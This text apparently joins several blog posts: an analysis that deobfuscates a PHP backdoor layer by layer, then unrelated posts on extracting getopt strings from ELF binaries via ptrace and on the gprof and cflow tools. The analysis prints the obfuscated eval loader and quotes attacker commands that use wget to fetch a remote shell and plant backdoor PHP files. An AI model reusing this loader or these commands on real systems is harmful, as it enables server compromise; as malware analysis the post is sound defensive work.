This post will focus on describing the deobfuscation process and inner workings of the PHP code that allowed the mentioned functionality. This is not a very hard case of obfuscation. I also suspect that there is a obfuscating tool out there that did this.

You are presented with an obfuscated PHP file. It is only 2 lines, one contains some readable code, and the other is completely obfuscated. Now what? You can execute it, and watch for system calls, filesystem changes, network connections etc. Or, you can deobfuscate it manually and see exactly what it does.

PARTIAL CODE:

** Note, the original file has everything between <?php ?> tags on one line, and everything else on another. The below code is changed for readability.

<?php

$OOO0O0O00=__FILE__;
$O00O00O00=__LINE__;
$OO00O0000=3024;

eval( gzuncompress( base64_decode(
'eNplj1dvwjAAhP9MpNgiCGcQEkV5YG/MXi9VhjMgCzsD+PUFtWorVXdPp7tPO
g4jhPBLyPTSjCSAwxh/BQJPbR4aVRBGBNTrHH4X34aeT3IGuJ+pICJJgca/WEG
6Co0X8Xtp+s8icdI4o4QxYFuMqMqHS5zUJYDlNKfAo8Ry/yJkVYMCfx90rWevc
z1N4uNo02qjw3yVyGoNb/Nxujj3Pfvih+Xj1hCl3V6pqOaQ5Zpl0XRWuPqwGZi8
wLc73V5/MByNJ9PZfIGXq/Vmu9sfjqezZTsu8fwgvFyjOEmzG2V5UVb3xxOJkq
w01Zam1xo8hNAgpRWB30PQ+ATAxF8l'
)));
return;
?>

ZS1SnSy7fix0hJOsJgHQjOum3KfA+qjbZD9rzK0Bn0Mox055+qOlyP3NXGsN+N
n1s9TENweIiWrKaJuwjxWBQ1J7fyrY00bzj7nCW/f/63pqGxNSK7x8a2Dqy7y7
H+6/GWbanfTv9jvS1GGD9piUEOUb/eBfmgHXPHxCXCYZo6cPHCeoQEyh3Gm
Eau3z0i5sOeQNGynhwwKBes2XIjNPrsPSut4/Bz8AAE4KN4PdusO/v4OI5okUJ
......(skipping many bytes)......
Y9yT5MATh+TOXU8==

** Complete PHP file provided per request

OBFUSCATION TECHNIQUES USED:

(a) Variable name scrambling (e.g. $OO00O00O0, $IIIIIIII1II)
(b) Insertion of NOP (no operation) statements such as:
$LINE_NUM = 1;
while(–$LINE_NUM) fgets($FILE_HANDLE,1024);
(c) Use of compacting, mapping functions such as:
strtr() or gzuncompress(base64_decode(“string”));
(d) Multiple rounds of obfuscation

DEOBFUSCATION:

The first line of the PHP file contains some readable code squeezed into one line. It needs to be made readable by separating it into multiple lines. Notice the eval(gzuncompress(base64_decode(scrambled code)) line. Replacing eval() with a print gets the job done. When the code is run it spits out more code. Now, variable names such as $OOO0O0O00 are replaced with something more useful. The mapping of variables is noted because as more code gets deobfuscated we need to look those up.

<?php

$FILE_NAME=__FILE__;    // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;     // It is "1". Explanation below
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);    // reads in the first line, advances the file pointer

$CODE=
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,368),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)));

//eval($CODE);
return;
?>

Explanation:

__FILE__ is the name of the script file currently being parsed. __LINE__ is the number of the line within the current script file. The code opens itself (its own file) for reading in binary mode. Then, there are fgets() commands for 1024 and 4096 bytes. Next, the $CODE variable is assigned a value and evaluated (another round of decryption).

(2) Second round of decryption.

We need to see what the value of $CODE is in cleartext. Once again, there is a “gzuncompress(base64_decode(” instruction which is passed the value of strtr() function (not to confuse with strstr()). The strtr() functions prototype is “string strtr(string $str, string $from, string $to)”. It returns a copy of “str”, translating all occurrences of each character in “from” to the corresponding character in “to”. So we have a mapping of some sort. Now comes the complicated part.

The $str is a string of 368 bytes from the original file. But, there are 2 fgets() statements that advance the file handle before the fread() can read in the 368 bytes. The first fgets() is not executed because in “while(–$LINE_NUM) fgets($FILE_HANDLE,1024);” the value of LINE_NUM is 1. The second fgets() statement,”fgets($FILE_HANDLE,4096)” is executed – it reads in the whole first line of the file. So, the 368 bytes to be used in the strtr call come from the first 368 bytes of the second line in the original php file.

We use those 368 bytes in “gzuncompress(base64_decode(strtr(fread(“ as the value for fread(). The resulting code with cleaned up variable names is below. Notice, the $CODE is replaced with its value. The replacement is almost the same as the previous code, except there is also an ereg_replace() call.

<?php
$FILE_NAME=__FILE__;   // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;    // It is "1".
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);

if (!function_exists('gzuncompress')) die('');

$CODE2=
ereg_replace(
'__FILE__',
"'" . $FILE_NAME . "'" ,
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,$SIZE),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
))));

fclose($FILE_HANDLE);
//eval($CODE2);
return;
?>

(3) Third round of decryption:

We now need to figure out the value of $CODE2. The ereg_replace() prototype is “string ereg_replace (string $pattern, string $replacement, string $string)”. It scans “string” for matches to “pattern” , then replaces the matched text with “replacement”. Right away we notice that “pattern” and “replacement” are the same thing. So this is another NOP operation. Again the focus is on “gzuncompress(base64_decode(strtr(”. This time, the strtr() takes as its first argument $SIZE bytes from the second line of the original file. Don’t forget that in the previous round of decryption, the FILE_HANDLE was advanced 368 bytes. And behold, we finally get the (almost) final version of the code!

code_version1

(4) Fourth round of deobfuscation.

We finally have some useful PHP code. But part of it is still scrambled. There is another series of “gzinflate(base64_decode(” commands in the beginning of this code. I will simply present the results as I have already described what to do. It is worth mentioning that this time you need to do 13 iterations on the same little piece of code to get to the clear text code. This needs to be automated. The stopping condition is when there is no more “eval(gzinflate(base64_decode(” commands in the code. A python script like this solves the problem.

code_version2

SUMMARY

So what exactly does the code do?
(a) Executes a command passed in $_POST["I1llI1"]. Could be any system command.
(b) Its mothership is “hxxp://bessearches.info/virtual/gen.php”. Queries to our exploited server, such as “GET_php_virus?/phentermine/drug-phentermine.html” are satisfied by pulling actual information from the mothership and displaying it on exploited server.

What command were run on the infected machine?
There is no way of telling as they were passed in the POST request. But during sniffing phase, the attacker entered the following commands.

ls -lidpwd
find /Volumes/SSDrive/websites/SITENAMEHERE/ -user www -print
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/allimages/rma.php
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/unilogo/rma.php
find /Volumes/SSDrive/websites -user www -name "*.php" -ctime -40 -print
cat /Volumes/SSDrive/websites/SITENAMEHERE/images/faculty.php

So we can see that the attacker was doing some reconnaissance as well as installing other backdoors.

FOLLOW UP

The mothership (hxxp://bessearches.info/virtual/gen.php) is still up. Simply entering this URL spits out an obfuscated string that looks like the second line of our file, but longer. If I have some free time, I will write a script to do parse it.

ADDITIONS

[2008-02-25] This malware has backdoor and adware functionality and should be classified as such. (thanks Schmoilito)

Keeping this in mind, I realized that almost every single UNIX binary gets its arguments from the shell in a standard, POSIX-compliant way. The getopt libc function call parses the input from the shell in to usable internal flags. If one were to peek inside what each binary gives to getopt(), one would find out all arguments it is expecting to take and provide more insight about the executable! This is what I have done and what the remainder of the post is about.

This is what my previous post related to. Now I realize this is a slightly silly goal. My primary reason for doing this is to learn the techniques I’ve used to get there, which I simply could not learn without experimentation and a concrete goal in mind. The way this problem was attacked as follows:

Each step has an explanation of it below it:

How this works

1. I use libelf(3) to open the binary, and read its sections.
• Most UNIX binaries are in the ELF format. The official draft is included in the tarball at the end of this post. ELF (or Executable and Linkable Format) is a file format that most UNIX systems today understand.
2. The sections I care about are the PLT and the dynamic symbols section.
• An ELF file contains information in sections. The two sections I mentioned are the section that contains the dynamic symbols and the procedure linkage table
• Dynamic symbols – When you write a program that uses a shared library, libc being the prime example. One copy of libc is shared among many processes, and when you compile a program, the actual code from libc does not get compiled into the binary. What happens is that your compiler leaves a little note to your operating system (or the operating system loader [Not the boot loader! ]) saying “Here I call some functions that should be in a shared library that you might have loaded, and if not you can load it as you need it. I will be calling printf and getopt, so I will reference to them as if I have them. Please fill in those references as you find your own copy of libc”. That list of functions is called the dynamic symbol table. Each process that utilizes shared libraries (which is almost all of them) has a GOT (or a Global Offset Table) which is a table that maps those symbols to the locations in the library where the code actually is. So when you call printf() in your code, in the compiled instructions, the code actually looks at the printf() entry in the GOT and jumps to whichever address it points to. When you leave those references ‘open’ as I mentioned earlier, those entries are simply not filled in. When the loader resolves those references, it fills in the proper address of the shared library. So to picture it, the flow of execution is as follows: printf() –> GOT –> actual printf code. Now for reasons outside the scope of this post, there is yet another level of indirection. So in reality the flow is: printf() –> PLT –> GOT –> actual printf(). The PLT is a series of jump statements that go to the GOT. This jump table is what we focus on.
3. I then extract the position of the getopt symbol and look it up in the PLT.
• From the information I retrieved using libelf, I check at which address the PLT table gets loaded (section ‘.plt’), then I check the index of the getopt symbol in the symbol table, and I obtain the address of the PLT entry by simply performing: .plt + (getopt position + 1) * 0×10 (0×10 is the size of a plt entry as far as I know, and +1 because I want to skip the 0th entry of the PLT table)
4. I start the binary, overwrite the proper address, set a breakpoint, and extract the arguments.
• I now have the jump that gets taken every time when getopt gets called. I now fork() and before I execv() the process, I enable the process to be traced with the ptrace(3) interface. This is the same method that debuggers use to attach to processes. The parent gets notified once the child is finished being loaded if it is being traced. Once I get notified that it is created, with the proper address of getopt in hand, I overwrite that jmp instruction with a int3 instruction (or 0xCC assembled. Something to note, in my code I overwrite it with 0xcccccccc, which is just four int3 instructions. I didn’t want to bother with byte-ordering or alignment issues, so I just overwrote the entire word. Since the instruction is only one byte, it works just fine.) This instruction will trap into the parent once reached. This is also how debuggers set breakpoints, with a slight difference: They save the original instruction they overwrote so they can restore it on the next execution, but since I simply don’t care for it to continue running I can just go walking all over it. Now I continue the child process.
• All my child interaction and prodding was done with the ptrace() system call.
• Once the parent gets trapped again, I now know that I am at the point where getopt() was JUST called. If you remember, the standard C calling convention is to push all the arguments to the stack and then call the function. I now know that %esp points to the first argument passed, so I know that at a certain offset will be the last argument, which is the string of every argument that a binary is expecting, which is what I care about.
• I now know where the string of arguments is in the child’s address space, at which point I can safely extract it, then kill the child process before it does anything. How mean.
5. I can now rinse+repeat for other binaries in which I’m interested.

Why this works

1. More programs call getopt() as one of the absolute first things they do. This means that there is a very low chance that any side-effects will come up.
2. This is fast since the OS only loads the pages of code that are being executed, and there is a very high chance that getopt will live in the first page of code, making it pretty fast.

Something to note here: Not all binaries use getopt. This is a problem, but not one that I care about to fix. This took a little over three weeks to complete due to the lack of material about the matter on the Internet, and the slightly esoteric nature of the solution. Check out the ltrace utility if you want something like what I wrote on steroids (outlines every single library call with all arguments).

I originally attempted to read ltrace source to figure out how to solve the problem, but it confused me more than it helped me. In the end a sit down with the ELF spec and some time is what it took.

If you have any questions, comments, additions or critiques, please either comment on the post or send me an email.

The code I wrote and used can be found here: http://isis.poly.edu/~yan/readgo.tbz (You’d need libelf installed to get it to compile/run). This only works on FreeBSD/i386. Linux has a slightly different ptrace() interface, so porting will be trivial, but existent.

Since everyone loves some sample output:

yan@tissue$ ./readgo /bin/ls /bin/rm
/bin/ls: 1ABCFGHILPRSTUWZabcdfghiklmnopqrstuwx
/bin/rm: dfiIPRrvW

edit: Fixed a lot of grammatical mistakes thanks to Kurt.

Thanks for reading,
Yan

The tool in question is ltrace, which I believe is a doing of mostly the Debian project (I can be wrong), with a port to FreeBSD which is what I have been using. I have spent enough hours trying to just read source code, using grep to look for where to look for my next step.

Read on for descriptions!

GNU gprof, or GNU profiler, is a tool used to typically measure the performance and runtime (not algorithmic) of components. When using gprof, compile your target program with flags ‘-g -pg’. That will compile the program with debugging symbols, and add extra code that can generate profiling information. If you need to use gprof on a port or an existing application that uses the standard GNU building toolchain, just add ‘-g -pg’ to CFLAGS inside the Makefile. Also, look for lines where the program gets linked, as that needs ‘-g -pg’ as well. Then, use gprof to execute the program with the arguments that you will want to profile, e.g. ‘gprof ./ltrace /bin/ls 2>/dev/null > ltrace_gprof.out‘. That will create a file, ltrace_gprof.out that will contain all procedures that were executed, and all called from them. This simplifies tracing of code for specific execution of binaries. By passing the required arguments, you are crafting the execution thread to your liking. While I did not use gprof to profile, I did use it to trace the execution in a more-or-less high-level fashion.

The second tool I want to write about is GNU cflow. cflow, which I’m sure everyone except me knew about, takes a number of C files, and generates a graph of the function call hierarchy. It is very useful to see how a program executes, in a static fashion. One can just call ‘cflow -X *.c‘ and look at a pstree-like representation of the call graph. In my opinion, very useful in understanding the flow of a program. Here is some sample output:

77                      fopen {}
78                      fgets {}
79                      process_line {read_config_file.c 112}
80                              debug_ ... {62}
81                              eat_spaces {read_config_file.c 70}
82                              str2type {read_config_file.c 55}
83                                      strlen {}
84                                      strncmp {}
85                                      index {}
86                              start_of_arg_sig {read_config_file.c 81}
87                                      strlen {}
88                              output_line ... {66}

Why am I playing with these tools? To complete a piece of code that has stagnated at being at 80% completion, or so I think. More info on the tool along with complete source as I get it to some working state.